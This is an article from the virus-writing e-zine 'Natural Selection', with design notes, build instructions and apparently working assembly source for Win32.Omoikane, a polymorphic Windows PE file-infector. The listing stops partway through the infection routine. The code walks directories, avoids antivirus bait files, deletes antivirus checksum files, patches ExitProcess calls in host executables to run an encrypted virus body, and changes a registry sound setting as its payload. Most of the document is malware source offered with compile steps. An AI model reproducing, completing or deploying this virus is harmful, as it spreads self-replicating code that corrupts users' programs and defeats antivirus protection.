COMMENT ` ---------------------------------------------------------------- )=-
 -=( Natural Selection Issue #1 ---------------------------- Win32.Omoikane )=-
 -=( ---------------------------------------------------------------------- )=-

 -=( 0 : Win32.Omoikane Features ------------------------------------------ )=-

 Imports:       GetModuleHandleA  and  ExitProcess from host,  rest  are direct
                from Kernel32
 Infects:       PE  files  containing  GetModuleHandleA.    Expands  last  code
                section, write decryptor to code section.   ExitProcess of host
                patched to run decryptor, which decrypts the virus into a large
                enough data section.  Write bit not set on the code section.
 Strategy:      Does a traversal starting at the root dir on the current  drive
                picking random sub-directories,  stopping when either there are
                no more directories, or some new files were infected.
 Compatibility: All tested windows versions, doesn't infect SFCs
 Saves Stamps:  Yes
 MultiThreaded: No
 Polymorphism:  A small slow-polymorphic decryptor in the empty space at end of
                the  code segment  which uses a  series of  randomly  generated
                encryption instructions, and a couple algorithms.
 AntiAV / EPO:  Runs on ExitProcess.    Anti-bait:   Does not infect goat files
                (small, incorrect make-up, weird filenames, etc) or anything in
                goat directories (too many exes, same sizes, etc).
 SEH Abilities: None
 Payload:       1/8 times,  writes baka.wav into the windows directory and sets
                the registry to use it as the new Critical Error sound   (heard
                when an application crashes).

 -=( 1 : Win32.Omoikane Design Goals -------------------------------------- )=-

 : Infect PE files without adding a second code section
 : NOT setting the write bit on a code section
 : Use Good Encryption

 This virus was created to see if the above objectives were feasible.  With the
 advent of the PE  executable and advances in  the anti-virus industry, new  PE
 viruses are generally easy  prey for AVs due  to one or more  of the following
 reasons:

 : Entry point outside the code section.  Some compression engines do this too,
   but any AV which this does not red-flag is crap.
 : Writable Code section.   Almost no  clean exe has this bit set.   Almost all
   viruses do.... hmm... I wonder if the AV noticed this?
 : Lousy  Encryption.    As  written  in  Matrix#2,  AVs  can  cut  through bad
   encryption methods as if they were not there.

 Thus, this virus was born.

 This virus, hides it's body in the last section of the host file (encrypted of
 course).  It writes a small, POLYMORPHIC decryptor into the slack space at the
 end of the  code section.  It  then patches the  exe by looking  for all "call
 [ExitProcess]" or "jmp [ExitProcess]" (depending on the linker) to jump to the
 decryptor.  Since all calls are patched, no other infection marker is needed.

 When the  host finishes  running and  calls ExitProcess,  it will  jump to the
 polymorphic  decryptor.    The decryptor  then decrypts  the data in the  last
 section of the file, and places it into a writable data section.   Due to  how
 windows "works", data sections CAN have code in them.  After the virus is done
 decrypting, it jumps to the code in the data section and executes.

 When the virus executes, it goes into the root directory of the current  drive
 and attempts  to infect  files.  If  there are  no files  to infect, or a bait
 directory  is determined  (using a  complex set  of criteria),  then a  random
 subdirectory is chosen,  and the infection process is repeated.   (You can use
 "subst"  to create  a new  drive letter  and run  the file  on it  to test  it
 safely.)

 ...And so, some 2000 lines of code later - Mission Accomplished.

 -=( 2 : Win32.Omoikane Design Faults ------------------------------------- )=-

 The biggest problem is the  reliance on GetModuleHandleA being present  in the
 host file.  The  other large problem  is the inability  to go hoping  from one
 drive to the next.

 There are various other things that, time permitting, should be improved.  For
 example adding more methods of  encryption, and lots of optimization.  But for
 now...

 -=( 3 : Win32.Omoikane Disclaimer ---------------------------------------- )=-

 THE CONTENTS OF  THIS ELECTRONIC MAGAZINE  AND ITS ASSOCIATED  SOURCE CODE ARE
 COVERED UNDER THE BELOW TERMS AND CONDITIONS.  IF YOU DO NOT AGREE TO BE BOUND
 BY THESE TERMS AND CONDITIONS, OR  ARE NOT LEGALLY ENTITLED TO AGREE  TO THEM,
 YOU MUST DISCONTINUE USE OF THIS MAGAZINE IMMEDIATELY.

 COPYRIGHT
 Copyright on  materials in  this  magazine  and  the  information  therein and
 their  arrangement is owned by FEATHERED SERPENTS  unless otherwise indicated.

 RIGHTS AND LIMITATIONS
 You have  the  right  to use,    copy and  distribute  the  material in   this
 magazine free   of  charge,  for  all   purposes  allowed  by your   governing
 laws.  You    are expressly  PROHIBITED   from   using the  material contained
 herein  for   any   purposes  that   would   cause    or would    help promote
 the illegal   use of the material.

 NO WARRANTY
 The  information   contained within   this  magazine  are  provided  "as  is".
 FEATHERED    SERPENTS     do    not    warranty    the     accuracy, adequacy,
 or   completeness     of     given  information,  and    expressly   disclaims
 liability   for   errors   or   omissions    contained  therein.   No implied,
 express, or statutory  warranty, is given  in conjunction with  this magazine.

 LIMITATION OF LIABILITY
 In *NO* event will FEATHERED SERPENTS or any of its MEMBERS be liable for  any
 damages  including  and  without  limitation,  direct  or  indirect,  special,
 incidental,  or  consequential  damages,   losses,  or  expenses  arising   in
 connection with this magazine, or the use thereof.

 ADDITIONAL DISCLAIMER
 Computer viruses will spread of their own accord between computer systems, and
 across international boundaries.  They are raw animals with no concern for the
 law, and for that reason your possession of them makes YOU responsible for the
 actions they carry out.

 The viruses provided in this magazine are for educational purposes ONLY.  They
 are NOT intended for use in  ANY WAY outside of strict, controlled  laboratory
 conditions.  If compiled and executed these viruses WILL land you in court(s).

 You will be held responsible for your actions.  As  source code these  viruses
 are  inert  and   covered   by   implied  freedom   of  speech   laws  in some
 countries.  In  binary form  these viruses  are malicious  weapons.  FEATHERED
 SERPENTS do not condone the application of these viruses and will NOT be  held
 LIABLE for any MISUSE.

 -=( 4 : Win32.Omoikane Compile Instructions ------------------------------ )=-

 TASM32 5.0  &  TLINK32 1.6.71.0

 tasm32 /m /ml Omoikane.asm
 tlink32 /Tpe /x Omoikane.obj, Omoikane.exe,,import32.lib
 pewrsec Omoikane.exe

 -=( 5 : Win32.Omoikane --------------------------------------------------- ) `

%out Assembling file implies acceptance of disclaimer inside source code

DEBUG           equ     0               ; Toggle Slow/Fast Poly, etc
DEBUGENTRY      equ     0               ; decryptor starts with an 'int 3'
DEBUGROOTDIR    equ     0               ; 0= root dir, 1= 'goats' subdir

if DEBUG
MINCODESIZE     equ     100h            ; Min Raw size of host's CS
MINHOSTSIZE     equ     100h
else
MINCODESIZE     equ     1000h
MINHOSTSIZE     equ     10000h          ; bad exe if < 10000h bytes
endif
MINSLACKSPACE   equ     50              ; Need at least 50 bytes at end of CS
MAXEXEPERDIR    equ     30              ; over 25 exes and skip dir
MAXBADEXE       equ     7               ; 7 bad exes before skipping dir
MAXSAMESIZE     equ     3               ; 3 same size files = goat dir
MAXSIZEPATTERN  equ     3               ; 3 exes in same size increments.


.386
.model flat, stdcall

; ************************************************************************
;  Declarations
; ************************************************************************
GetModuleHandleA        PROCDESC        WINAPI  :DWORD

OPEN_EXISTING           equ     3
FILE_SHARE_WRITE        equ     0002h
FILE_BEGIN              equ     0
FILE_MAP_WRITE          equ     2
FILE_ATTRIBUTE_NORMAL   equ     00000080h
INVALID_HANDLE_VALUE    equ     0FFFFFFFFh
GENERIC_READ            equ     80000000h
GENERIC_WRITE           equ     40000000h
MAX_PATH                equ     260
CREATE_ALWAYS           equ     2
PAGE_READWRITE          equ     00000004h
HKEY_USERS              equ     80000003h
REG_SZ                  equ     1
FILE_ATTRIBUTE_DIRECTORY        equ     00000010h

WIN32_FIND_DATA         struct
fd_dwFileAttributes     dd      0
fd_ftCreationTime       dd      0, 0
fd_ftLastAccessTime     dd      0, 0
fd_ftLastWriteTime      dd      0, 0
fd_nFileSizeHigh        dd      0
fd_nFileSizeLow         dd      0
fd_dwReserved0          dd      0
fd_dwReserved1          dd      0
fd_cFileName            db      260 dup(0)
fd_cAlternateFileName   db      14 dup(0)
WIN32_FIND_DATA         ends

FILETIME                struct
ft_dwLowDateTime        dd      0
ft_dwHighDateTime       dd      0
FILETIME                ends


; -****************-
;  PE Header format
; -****************-

PEHEADER struct
                ID                              dd      ?
                Machine                         dw      ?
                NumberOfSections                dw      ?
                TimeDateStamp                   dd      ?
                PointerToSymbolTable            dd      ?
                NumberOfSymbols                 dd      ?
                SizeOfOptionalHeader            dw      ?
                Characteristics                 dw      ?
; Optional Header:
                MagicNumber                     dw      ?
                MajorLinkerVersion              db      ?
                MinorLinkerVersion              db      ?
                SizeOfCode                      dd      ?
                SizeOfInitializedData           dd      ?
                SizeOfUninitializedData         dd      ?
                AddressOfEntryPoint             dd      ?
                BaseOfCode                      dd      ?
                BaseOfData                      dd      ?
                ImageBase                       dd      ?
                SectionAlignment                dd      ?
                FileAlignment                   dd      ?
                MajorOperatingSystemVersion     dw      ?
                MinorOperatingSystemVersion     dw      ?
                MajorImageVersion               dw      ?
                MinorImageVersion               dw      ?
                MajorSubsystemVersion           dw      ?
                MinorSubsystemVersion           dw      ?
                Reserved1                       dd      ?
                SizeOfImage                     dd      ?
                SizeOfHeaders                   dd      ?
                CheckSum                        dd      ?
                Subsystem                       dw      ?
                DllCharacteristics              dw      ?
                SizeOfStackReserve              dd      ?
                SizeOfStackCommit               dd      ?
                SizeOfHeapReserve               dd      ?
                SizeOfHeapCommit                dd      ?
                LoaderFlags                     dd      ?
                NumberOfRvaAndSizes             dd      ?
                DataDirectory                   dd      20 dup (?)
PEHEADER ends

; Data Directory
; --------------
DIR_EXPORT_TABLE                equ     0
DIR_IMPORT_TABLE                equ     1
DIR_RESOURCE_TABLE              equ     2
DIR_EXCEPTION_TABLE             equ     3
DIR_SECURITY_TABLE              equ     4
DIR_FIXUP_TABLE                 equ     5
DIR_DEBUG_TABLE                 equ     6
DIR_IMAGE_DESCRIPTION           equ     7
DIR_MACHINE_SPECIFIC_DATA       equ     8
DIR_THREAD_LOCAL_STORAGE        equ     9
DIR_LOAD_CONFIG                 equ     10
DIR_BOUND_IMPORT                equ     11
DIR_IMPORT_ADDRESS_TABLE        equ     12


; -*******************-
;  Export Table format
; -*******************-

EXPORTHEADER struct
                UnusedCharacteristics           dd      ?
                DateTimeStamp                   dd      ?
                MajorVersion                    dw      ?
                MinorVersion                    dw      ?
                Name                            dd      ?
                Base                            dd      ?
                NumberOfFunctions               dd      ?
                NumberOfNames                   dd      ?
                AddressOfFunctions              dd      ?
                AddressOfNames                  dd      ?
                AddressOfNameOrdinals           dd      ?
EXPORTHEADER ends


; -**************************-
;  Section Table Entry format
; -**************************-

SECTION struct
                sec_Name                        db      8 dup (?)
                sec_VirtualSize                 dd      ?
                sec_VirtualAddress              dd      ?
                sec_SizeOfRawData               dd      ?
                sec_PointerToRawData            dd      ?
                sec_PointerToRelocations        dd      ?
                sec_PointerToLinenumbers        dd      ?
                sec_NumberOfRelocations         dw      ?
                sec_NumberOfLineNumbers         dw      ?
                sec_Characteristics             dd      ?
SECTION ends

; Section Characteristics flags
; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC_CODE                equ     00000020h
SEC_INITIALIZED_DATA    equ     00000040h
SEC_UNINITIALIZED_DATA  equ     00000080h
SEC_NO_CACHE            equ     04000000h
SEC_NOT_PAGEABLE        equ     08000000h
SEC_SHARED              equ     10000000h
SEC_EXECUTABLE          equ     20000000h
SEC_READ                equ     40000000h
SEC_WRITE               equ     80000000h


; -*******************-
;  Import Table format
; -*******************-

IMPORTTABLE struct
                imp_Characteristics             dd      ?
                imp_DateTimeStamp               dd      ?
                imp_ForwarderChain              dd      ?
                imp_Name                        dd      ?
                imp_FirstThunk                  dd      ?
IMPORTTABLE ends



; ************************************************************************
;               Data Segment (empty)
; ************************************************************************
.data
dummy db 0





; ************************************************************************
;
;               Code Segment
;
; ************************************************************************


.code
VIRUSTOTALSIZE  equ     offset VirusEnd - offset VirusStart
VIRUSCODESIZE   equ     offset VirusInitEnd - offset VirusStart
filesize        equ     7045
BakaFileSize    equ     8


HOST:
        xor     ebp, ebp
        call    GetModuleHandleA, offset nKernel32
        jmp     short SkipInFirstGeneration

VirusStart:
        call    Get_Delta
Get_Delta:
        pop     ebp
        sub     ebp, offset Get_Delta

        lea     eax, nKernel32+ebp
        push    eax
        dw      15FFh           ; Call [var containing offset GetModuleHandle]
GetModHandleAddy dd     0

SkipInFirstGeneration:
;-*********************************-
; Get other function addresses from
;  the export table of Kernel32.dll
;-*********************************-
GetFunctions:
        mov     ebx, dword ptr [eax+3Ch]                ; RVA of PE Header
        mov     ebx, dword ptr [ebx+eax].DataDirectory[0]

        mov     ecx, dword ptr [ebx+eax].NumberOfNames  ; Number of Names
        mov     NumOfNames+ebp, ecx

        xor     ecx, ecx                                ; Currently at Name 1
        mov     edi, dword ptr [ebx+eax].AddressOfNames ; Address of Names
        mov     edx, dword ptr [ebx+eax].AddressOfFunctions     ; RVAs of functions
        add     edx, eax
        mov     ebx, dword ptr [ebx+eax].AddressOfNameOrdinals ; Ordinals
        add     ebx, eax
FindAddress:
        mov     esi, dword ptr [edi+eax]
        add     esi, eax
        push    edi
        lea     edi, nGetProcAddr+ebp
        push    ecx
        mov     ecx, 15
        repz    cmpsb
        pop     ecx
        pop     edi
        jz      short Match
        add     edi, 4
        inc     ecx
        cmp     ecx, NumOfNames+ebp
        jnge    FindAddress

OhShitFailImport:
        dw      15FFh           ; Call [var containing offset ExitProcess]
EmergencyExitAddy dd    0       ; (exit value should be on stack from host)

Match:
        movzx   ecx, word ptr [ebx+2*ecx]
        mov     ecx, dword ptr [edx+4*ecx]
        add     ecx, eax

        mov     ebx, eax
        mov     _GetProcAddress+ebp, ecx
; GetProcAddress is now in ecx....

; Now import the rest of the needed functions
        lea     esi, InfFunctions+ebp
        lea     edi, InfDest+ebp
InfGetFuncLoop:
        lodsb
        movzx   ecx, al
        jecxz   InfImpDone
        push    esi
        add     esi, ecx
        call    _GetProcAddress+ebp, ebx
        or      eax,eax
        jz      OhShitFailImport
        stosd
        jmp     InfGetFuncLoop
InfImpDone:

        call    LoadSFC                         ; Load SFC Library if exists
        db      'sfc.dll',0
LoadSFC:
        call    _LoadLibraryA+ebp
        mov     SFCLib+ebp, eax
        or      eax,eax
        jz      short NoSFCdll                  ; Probably 95 or 98
        call    PushSFCfunc
        db      'SfcIsFileProtected',0
PushSFCfunc:
        call    _GetProcAddress+ebp, eax
NoSFCdll:
        mov     _SfcIsFileProtected+ebp, eax


        lea     eax, DirBuf+ebp
        call    _GetCurrentDirectoryA+ebp, 256, eax
        lea     eax, RootDir+ebp
        call    _SetCurrentDirectoryA+ebp, eax
        lea     eax, CurrentTime+ebp
        call    _GetSystemTimeAsFileTime+ebp, eax
        ror     CurrentTime.ft_dwLowDateTime+ebp, 5     ; Get rid of ending 0s

;>>>>>----------------------------------------------------------------<<<<<

; ****** Payload start here ******
; (makes baka.wav play when a program crashes)
        test    CurrentTime.ft_dwLowDateTime+ebp, 7     ; 1 in 8 times
        jnz     SearchNewDir

        lea     edi, buffer+ebp
        call    _GetWindowsDirectoryA+ebp, edi, MAX_PATH
        push    edi
        add     edi, eax
        lea     esi, bakafile+ebp
        push    10
        pop     ecx
        rep     movsb
        pop     edi
        mov     esi, ecx

        call    _CreateFileA+ebp, edi, GENERIC_READ+GENERIC_WRITE, esi, esi, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, esi
        or      eax, eax
        js      ExitPayload
        push    eax                             ; Push FileHandle
        call    _CreateFileMappingA+ebp, eax, esi, PAGE_READWRITE, esi, filesize, esi
        or      eax, eax
        je      CloseAndExitPayload
        call    _MapViewOfFile+ebp, eax, FILE_MAP_WRITE, esi, esi, esi
        push    eax                             ; Push Memory Addy

        xchg    eax, edi
        lea     esi, BakaWav+ebp
        mov     edx, filesize
        push    ebp
        call    decode
        pop     ebp

        call    PushRegLibName                  ; Load the Reg* functions
        db      'ADVAPI32',0
PushRegLibName:
        call    _LoadLibraryA+ebp
        push    eax

        xchg    eax, ebx
        lea     esi, RegFunctions+ebp
        lea     edi, RegFuncDest+ebp
        call    FillImports
        jc      short FreeLibAndExit
        lea     eax, RegKey+ebp
        lea     ecx, RegHnd+ebp
        call    _RegOpenKeyA+ebp, HKEY_USERS, eax, ecx
        mov     ebx, RegHnd+ebp
        push    ebx

        lea     eax, RegKey+ebp
        lea     ecx, bakafile+1+ebp
        call    _RegSetValueA+ebp, HKEY_USERS, eax, REG_SZ, ecx, BakaFileSize
CloseKeyAndExit:
        call    _RegCloseKey+ebp
FreeLibAndExit:
        call    _FreeLibrary+ebp
CloseAndExitPayload:
        call    _UnmapViewOfFile+ebp
        call    _CloseHandle+ebp
ExitPayload:
        call    _CloseHandle+ebp
; ****** Payload end here ******


SearchNewDir:
        lea     ecx, FileMaskAny+ebp
        lea     edx, FindFile+ebp
        call    _FindFirstFileA+ebp,  ecx, edx
        mov     SearchHnd+ebp, eax
        cmp     eax, INVALID_HANDLE_VALUE
        je      ExitProgram

        xor     eax, eax
        mov     NumInfected+ebp, al
        mov     AVCRCFlag+ebp, al
        mov     NonExeCount+ebp, eax
        mov     DirCount+ebp, eax
        mov     ExeGoodCount+ebp, eax
        mov     ExeBadCount+ebp, eax
        mov     ExeSizesPtr+ebp, eax

ScanDirLoop:
        call    GetShortFileName

        test    FindFile.fd_dwFileAttributes+ebp, FILE_ATTRIBUTE_DIRECTORY
        jnz     ScanDirStats

; ************************
; Check if File is an .EXE
; ************************
        mov     edi, esi
        mov     al, 0
        mov     ecx, 255 ; (13 should be enough, but if long...)
        repnz   scasb
        cmp     dword ptr [edi-5], 'EXE.'
        jne     IncNonExeCount

; *****************************
; Check if File is not known AV
; *****************************
        lea     edi, AVNames+ebp                ; Check if AV - load names
CheckVsAV:
        movzx   ecx, byte ptr [edi]             ; Load length of name
        inc     edi                             ; skip past length byte
        or      ecx,ecx                         ; Is length zero?
        jz      short NotAVName                 ;  Yes - passed AV check
        push    esi                             ; Save Filename
        repz    cmpsb                           ; Compare
        pop     esi                             ; Restore FileName
        jz      AbortDir                        ; Oh oh - match (skip dir)
        add     edi, ecx                        ; Goto next AV Name
        jmp     CheckVsAV
NotAVName:

; *******************
; Possible Goat File?
; *******************

        call    ExeTest
        jc      IncExeBadCount
        inc     ExeGoodCount+ebp

        mov     ecx, ExeSizesPtr+ebp            ; Store file sizes for analyses
        cmp     ecx, MAXEXEPERDIR
        je      short GetNextScanFile
        mov     eax, FindFile.fd_nFileSizeLow+ebp
        mov     [offset ExeSizes + 4*ecx + ebp], eax
        inc     ExeSizesPtr+ebp

GetNextScanFile:
        lea     ecx, FindFile+ebp
        call    _FindNextFileA+ebp, SearchHnd+ebp, ecx
        or      eax, eax
        jnz     ScanDirLoop
        call    _FindClose+ebp, SearchHnd+ebp

; Check if probable goat directory
        mov     eax, ExeGoodCount+ebp
        mov     ebx, ExeBadCount+ebp
        mov     ecx, NonExeCount+ebp

        cmp     eax, 0
        je      GotoNextDir

        cmp     ebx, MAXBADEXE          ; Too many possible goats?
        ja      GotoNextDir
        cmp     eax, ebx                ; More bad EXEs than goods?
        jb      GotoNextDir
        add     ebx, eax                ; Too Many EXEs?
        cmp     ebx, MAXEXEPERDIR
        ja      GotoNextDir
        cmp     ebx, ecx                ; Too high a ratio of EXEs?
        ja      GotoNextDir

        cmp     eax, MAXSAMESIZE
        jbe     short FindExes
        mov     ecx, ExeSizesPtr+ebp    ; Bubble Sort Exe Sizes
        dec     ecx
        lea     edi, ExeSizes+ebp
        xor     ebx, ebx
BubbleLoop1:
        lea     edx, [ebx+1]
BubbleLoop2:
        mov     eax, [edi + 4*ebx]
        cmp     eax, [edi + 4*edx]
        jbe     short BubbleNoSwap
        xchg    [edi + 4*edx], eax
        mov     [edi + 4*ebx], eax
BubbleNoSwap:
        inc     edx
        cmp     edx, ecx
        jbe     BubbleLoop2
        inc     ebx
        cmp     ebx, ecx
        jb      BubbleLoop1

        xor     ebx, ebx        ; Num of same increments
        xor     edx, edx        ; Num of files with same size as another
        xor     esi, esi        ; Size of last increment (init to -1)
        dec     esi
ExeSizeLoop:
        mov     eax, [edi+4*ecx]
        sub     eax, [edi+4*ecx-4]
        jnz     short ExesNotSameSize
        inc     edx
        cmp     edx, MAXSAMESIZE-1
        jae     GotoNextDir
        jmp     short NoSizePattern
ExesNotSameSize:
        xor     edx, edx
        xchg    eax, esi
        cmp     eax, esi
        jne     short NoSizePattern
        inc     ebx
NoSizePattern:
        loop    ExeSizeLoop
        cmp     ebx, MAXSIZEPATTERN
        jae     GotoNextDir

FindExes:
        lea     ecx, FileMaskExe+ebp
        lea     edx, FindFile+ebp
        call    _FindFirstFileA+ebp,  ecx, edx
        mov     SearchHnd+ebp, eax
FindExeLoop:

        call    GetShortFileName
        call    ExeTest
        jc      short FindNextExe

        lea     eax, FindFile.fd_cFileName+ebp
        call    _SetFileAttributesA+ebp, eax, FILE_ATTRIBUTE_NORMAL
        or      eax, eax                        ; Set Attributes OK?
        je      short FindNextExe               ;  No- oh oh.  Network?

        push    CurrentTime.ft_dwHighDateTime+ebp       ; Save seed (rand slow)
        shr     CurrentTime.ft_dwHighDateTime+ebp, 12   ; Divide by 40 days
        call    InfectTheFileAlready                    ; About time, huh?
        pop     CurrentTime.ft_dwHighDateTime+ebp       ; restore seed


        lea     eax, FindFile.fd_cFileName+ebp
        call    _SetFileAttributesA+ebp, eax, FindFile.fd_dwFileAttributes+ebp

FindNextExe:
        lea     ecx, FindFile+ebp
        call    _FindNextFileA+ebp, SearchHnd+ebp, ecx
        or      eax, eax
        jnz     FindExeLoop
AbortDir:
        call    _FindClose+ebp, SearchHnd+ebp
        cmp     NumInfected+ebp, 0              ; Exit if done infection
        jne     RemoveCRCsAndExit

GotoNextDir:
        mov     ecx, DirCount+ebp               ; Exit if no more dirs
        or      ecx, ecx
        jz      ExitProgram

        call    randomfast
        xor     edx, edx
        div     ecx
        inc     edx
        mov     DirCount+ebp, edx
        lea     ecx, FileMaskAny+ebp
        lea     edx, FindFile+ebp
        call    _FindFirstFileA+ebp, ecx, edx
        xchg    eax, ebx
ChangeDirLoop:
        test    FindFile.fd_dwFileAttributes+ebp, FILE_ATTRIBUTE_DIRECTORY
        jz      short FindDir
        cmp     byte ptr FindFile.fd_cFileName+ebp, '.'
        je      short FindDir
        dec     DirCount+ebp
        jz      short ChangeToDir
FindDir:
        lea     ecx, FindFile+ebp
        call    _FindNextFileA+ebp, ebx, ecx
        jmp     short ChangeDirLoop
ChangeToDir:
        call    _FindClose+ebp, ebx
        lea     ecx, FindFile.fd_cFileName+ebp
        call    _SetCurrentDirectoryA+ebp, ecx
        jmp     SearchNewDir

IncExeBadCount:
        inc     ExeBadCount+ebp
        jmp     GetNextScanFile

ScanDirStats:
        cmp     byte ptr [esi], '.'
        je      GetNextScanFile
        inc     DirCount+ebp
        jmp     GetNextScanFile

IncNonExeCount:
        lea     edi, CRCNames+ebp
        xor     edx, edx
        inc     edx
CRCNameLoop:
        movzx   ecx, byte ptr [edi]
        inc     edi
        or      ecx, ecx
        jz      short CRCNamePass
        push    esi
        repz    cmpsb
        pop     esi
        jz      short CRCNameFail
        add     edi, ecx
        shl     edx, 1
        jmp     CRCNameLoop
CRCNameFail:
        or      AVCRCFlag+ebp, dl
        jmp     short ExitIncNonExeCount
CRCNamePass:
        inc     NonExeCount+ebp
ExitIncNonExeCount:
        jmp     GetNextScanFile

; Remove any AV CRCs....
RemoveCRCsAndExit:
        lea     edi, CRCNames+ebp
        xor     esi, esi
        inc     esi
RemoveAVCRCs:
        movzx   ebx, byte ptr [edi]
        or      ebx, ebx
        jz      short ExitProgram
        inc     edi
        test    dword ptr AVCRCFlag+ebp, esi
        jnz     short DeleteAVCRC
NextCRCRemove:
        shl     esi, 1
        add     edi, ebx
        jmp     RemoveAVCRCs
DeleteAVCRC:
        call    _SetFileAttributesA+ebp, edi, FILE_ATTRIBUTE_NORMAL
        call    _DeleteFileA+ebp, edi
        jmp     NextCRCRemove

ExitProgram:
        mov     ecx, SFCLib+ebp                         ;  Free SFC lib if loaded
        jecxz   NoSFCFreeLib
        call    _FreeLibrary+ebp, ecx
NoSFCFreeLib:
        lea     eax, DirBuf+ebp
        call    _SetCurrentDirectoryA+ebp, eax
        call    _ExitProcess+ebp, 0


; ********************************
; esi=short filename from FindFile
; ********************************
GetShortFileName:
        lea     esi, FindFile.fd_cAlternateFileName+ebp
        cmp     byte ptr [esi], 0               ; Sometimes unused - check
        jne     short GotShortFileName
        lea     esi, FindFile.fd_cFileName+ebp  ; put filename in ds:esi
GotShortFileName:
        ret

; ******************************
;
;   TEST EXE FILE FOR GOAT
;
; ******************************

ExeTest:
; ******************************
; Check if File is not too small
; ******************************
CheckFileSize:
        cmp     dword ptr FindFile.fd_nFileSizeLow+ebp, MINHOSTSIZE
        jb      short ExeTestBad                ; File too small?
; ****************************
; Check if File is not too new
; ****************************
CheckFileTime:
        mov     eax, CurrentTime.ft_dwHighDateTime+ebp
        sub     eax, 1000h
        cmp     eax, FindFile.fd_ftLastWriteTime.ft_dwHighDateTime+ebp
        jb      short ExeTestBad
; ********************************
; Check if File contains long runs
; of letters or contains numbers.
; ********************************
        mov     edi, esi
        mov     byte ptr LetterCount+ebp, 0     ; Currently run of 0 same chars
        mov     byte ptr LastLetter+ebp, 0      ; Reset last letter
        lea     esi, FindFile.fd_cFileName+ebp  ; put long filename in ds:esi
letterloop:
        lodsb                                   ; load letter
        or      al,al                           ; End of filename?  Yes - exit.
        jz      short DoneRunCheck
        cmp     al, '0'                         ; Check if it has file has
        jb      short NextCheck                 ;  numbers in it.  If so, skip.
        cmp     al, '2'
        jb      short ExeTestBad
        cmp     al, '4'
        jb      short NextCheck
        cmp     al, '9'
        jbe     short ExeTestBad
NextCheck:
        xor     bl,bl                           ; Zero Letter Run counter
        cmp     LastLetter+ebp, al              ; Is same as last letter?
        jne     short DoneCheck                 ;  Yes - it's ok.
        mov     bl, LetterCount+ebp             ;  No?  # of letters repeated
        inc     bx                              ; increment LetterCount
        cmp     bl, 2                           ; Is this he third same letter?
        jae     short ExeTestBad                ;  Yes - fail.  Look elsewhere
DoneCheck:
        mov     LastLetter+ebp, al              ; Save last letter
        mov     LetterCount+ebp, bl             ; Save Run count
        jmp     short letterloop                ; Get next letter
DoneRunCheck:
        clc
        ret
ExeTestBad:
        stc
        ret


;>>>>>----------------------------------------------------------------<<<<<
;**********************

InfectTheFileAlready:
        lea     ebx, FindFile.fd_cFileName+ebp
        xor     edi, edi
        mov     ecx, _SfcIsFileProtected+ebp    ; Is SFC protected?
        jecxz   NotSFCProtected
        call    ecx, edi, ebx                   ; call function if present
        or      eax, eax
        jnz     ExitInfector
NotSFCProtected:
        call    _CreateFileA+ebp, ebx, GENERIC_READ+GENERIC_WRITE, FILE_SHARE_WRITE, edi, OPEN_EXISTING, edi, edi
        or      eax, eax
        js      ExitInfector
        push    eax                             ; Push FileHandle
        call    _CreateFileMappingA+ebp, eax, edi, PAGE_READWRITE, edi, edi, edi
        or      eax, eax
        je      CloseAndExitInfector
        push    eax
        xchg    eax, esi
        call    _MapViewOfFile+ebp, esi, FILE_MAP_WRITE, edi, edi, edi
        push    eax                             ; Push Memory Addy
        mov     esi, eax

        cmp     word ptr [eax], 'ZM'                    ; Is it an EXE?
        jne     short InfectableNo
        cmp     word ptr [eax+18h], 40h                 ; A windows EXE?
        jb      short InfectableNo
        movzx   ecx, word ptr [eax+3Ch]
        add     eax, ecx
        cmp     dword ptr [eax], 'EP'                   ; A PE Exe?
        jne     short InfectableNo
        cmp     word ptr [eax].Machine, 14Ch            ; Is at least 386+ ?
        jb      short InfectableNo
        cmp     word ptr [eax].Machine, 160h            ; Is not R3000, etc.?
        jae     short InfectableNo
        cmp     word ptr [eax].Subsystem, 2             ; Is Windows file?
        jb      short InfectableNo                              ;  2=Windows
        cmp     word ptr [eax].Subsystem, 3             ;  3=Console (win)
        jbe     short IsInfectable
InfectableNo:
        jmp     UnmapAndClose
IsInfectable:


; First locate imports:
        xchg    eax, edi
        mov     eax, dword ptr [edi].DataDirectory+8
; Section Table:
        call    RVA2Addr
ImportLoop:
        cmp     [eax].imp_Characteristics, 0
        je      InfectableNo                    ; No Kernel Import?!?
        xchg    eax, edx
        mov     eax, [edx].imp_Name
        call    RVA2Addr
        cmp     dword ptr [eax], 'NREK'
        jne     short TryNextImport
        cmp     dword ptr [eax+4], '23LE'
        je      short FoundKernel
TryNextImport:
        lea     eax, [edx + size IMPORTTABLE]
        jmp     ImportLoop

FoundKernel:                    ; Now find "ExitProcess & GetModuleHandle"
        mov     eax, [edx].imp_Characteristics
        or      eax,eax
        jne     short HNAExists
        mov     eax, [edx].imp_FirstThunk
HNAExists:
        call    RVA2Addr
        mov     ebx, eax
        mov     edi, [edx].imp_FirstThunk
        xor     edx,edx                 ; Import Flags= 0 - nothing yet

FindImportFunction:
        mov     eax, [ebx]
        or      eax,eax
        je      short DoneImports       ; No more imports
        js      short NotGetModuleHandle ; Some psycho is loading by ordinal
        call    RVA2Addr
        inc     eax
        inc     eax
        xchg    eax, edi

        test    dl, 1                   ; Found ExitProcess Already?
        jnz     short NotExitProcess
        mov     ecx, 12
        push    esi
        push    edi
        lea     esi, nExitProcess+ebp
        repz    cmpsb
        pop     edi
        pop     esi
        jne     short NotExitProcess
        or      dl, 1                   ; Mark as found
        mov     ExitProcessRVA+ebp, eax ; Save RVA
NotExitProcess:
        test    dl, 2                   ; Found GetMoguleHandle Already?
        jnz     short NotGetModuleHandle
        mov     ecx, 17
        push    esi
        push    edi
        lea     esi, nGetModuleHandle+ebp
        rep     cmpsb
        pop     edi
        pop     esi
        jne     short NotGetModuleHandle
        or      dl, 2
        mov     GetModuleHandleRVA+ebp, eax
NotGetModuleHandle:
        xchg    eax, edi
        add     ebx, 4                  ; Next Function Name
        add     edi, 4                  ; Get Next Function RVA
        jmp     FindImportFunction

DoneImports:
        cmp     dl, 3                   ; Found both functions?
        jne     InfectableNo

        movzx   ebx, word ptr [esi+3Ch]
        add     ebx, esi
        mov     edi, ebx                ; edi= PE Header offset
        movzx   ecx, [ebx].NumberOfSections
        movzx   edx, word ptr [ebx].SizeOfOptionalHeader
        lea     edx, [ebx+edx+18h]

; Get Last Section
        push    ecx
        push    edx
        mov     eax, [edx].sec_PointerToRawData
        mov     ebx, edx
LastSectionLoop:
        cmp     eax, [edx].sec_PointerToRawData
        jae     short NotLastSection
